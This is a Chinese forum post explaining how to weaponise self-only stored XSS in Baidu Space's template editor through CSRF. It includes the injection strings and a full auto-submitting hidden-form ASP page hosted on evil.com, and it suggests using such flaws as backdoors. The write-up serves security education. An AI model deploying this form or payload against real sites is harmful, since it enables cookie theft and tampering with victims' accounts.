[分享] 基於CSRF的XSS攻擊 CSRF, XSS

masters

作者︰余弦

有些XSS不好利用啊，比如有些後台的XSS漏洞，你進不了別人的後台，怎么能 利用他的XSS漏洞呢？進得了別人的後台，還利用這個XSS漏洞干什麼？其實這個時候可以種個後門（如果那是個持久型的XSS，這是後話）。有些被稱為雞 肋的XSS漏洞其實很多時候是因為沒有找到合適的利用模式而已。

比如百度空間的自定義模板處，那裡還有兩處持久型的XSS漏洞，一個是在編輯CSS的textarea中寫入這樣的代 碼</textarea><script>alert(‘xss’)< /script><textarea>，然後儲存該模板後會出現跨站；還有一個是在編輯CSS的textarea中寫入< /style><script>alert(document.cookie)< /script><style>，點擊“預覽”會出現跨站。這樣的過程似乎只能跨自己？不對﹗利用CSRF可以使得這些不好利用的 XSS漏洞變得同樣威力無窮。


比如︰

一個攻擊者構造的頁面http://www.evil.com/csrf-xss-baiduhi.asp的代碼如下︰

1. <%
   
2. s = "<form method='post' action='http://hi.baidu.com/yuxi4n/commit'>"
   
3. s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='ct'/>"
   
4. s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssUse'/>"
   
5. s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssColorID'/>"
   
6. s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='-1' name='spCssLayoutID'/>"
   
7. s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='http://hi.baidu.com/yuxi4n/modify/spcss/20f51f4f94129a36aec3ab11.css/edit' name='spRefURL'/>"
   
8. s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='cm'/>"
   
9. s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='</style><script>alert(document.cookie)</script><style>' name='spCssText'/>"
   
10. s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='abc' name='spCssName'/>"
    
11. s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='0' name='spCssTag'/>"
    
12. s = s+"</form>"
    
13. s = s+"<script>document.forms[0].submit();</script>"
    
14. Response.write(s)
    
15. %>

複製代碼

被攻擊者yuxi4n訪問這個鏈接時就被CSRF了，接著就是XSS的出現:)。XSS能做什麼就做什麼了。上面的CSRF代碼提交了自定義模板表 單並執行了預覽功能。預覽的時候就跨了。CSRF可以做的很隱蔽。上次xKungfoo回來後和monyer聊的就是這個，當時百度C2C內某處的預覽功 能就存在這樣的XSS。很多人認為根本沒辦法利用，然後結合CSRF呢？monyer給他們演示後，現下這個漏洞被修補了。

同樣的問題出現下很多網站上，恩，假如CSRF防禦做得好的話就不用擔心這個了，不過我們可以利用這樣被忽略的XSS漏洞做後門，假如有這個機會的話。